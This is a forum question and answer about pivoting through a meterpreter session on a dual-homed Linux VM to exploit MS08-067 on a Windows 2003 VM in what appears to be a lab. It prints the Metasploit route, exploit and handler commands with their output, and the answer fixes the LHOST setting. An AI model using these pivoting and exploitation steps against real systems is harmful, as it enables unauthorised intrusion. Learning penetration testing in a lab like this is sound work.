I am trying to exploit a Windows VM on a different subnet behind a dual home Linux VM where I already have a shell. To keep it simple, I have a meterpreter reverse_tcp shell on the Linux VM ( and the Windows VM ( is 2003 and vulnerable to MS08-067 (I tested this directly). Lastly, the Linux VM can definitely hit the SMB service on the Windows VM.

ubuntu:~$ ip -o addr show | grep -o '' && nc -nvv 445
Connection to 445 port [tcp/*] succeeded!

The meterpreter reverse_tcp shell on the Linux VM connects back on port 5555 so there is not a conflict with port number.

[*] Sending stage (826872 bytes) to
[*] Meterpreter session 2 opened ( -> at 2017-10-08 11:21:30 -0500

msf exploit(handler) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > route add 2
[*] Route added
msf exploit(ms08_067_netapi) > route

IPv4 Active Routing Table

   Subnet             Netmask            Gateway
   ------             -------            -------      Session 2

[*] There are currently no IPv6 routes defined.
msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse TCP handler on 
[*] - Automatically detecting the target...
[*] - Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown
[*] - We could not detect the language pack, defaulting to English
[*] - Selected Target: Windows 2003 SP2 English (NX)
[*] - Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.

Additionally I gave this a run with LHOST as well as LHOST (the .128 subnet address of the Linux VM), but no shell there either. What am I missing?

I have also tried doing this manually through SSH port forward as seen in https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/ and ended up with the same result. The exploit hits the Windows VM but no session is opened.

These are the main posts I have been referencing.

  1. http://carnal0wnage.attackresearch.com/2007/09/using-metasploit-to-pivot-through_06.html
  2. https://pentest.blog/explore-hidden-networks-with-double-pivoting/
  3. http://www.whitelist1.com/2016/06/metasploit-double-pivoting.html

1 Answer 1


When using tunneling via meterpreter routes in Metasploit your lhost will become your first target.

So in this case your LHOST should be set to:

Try that.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .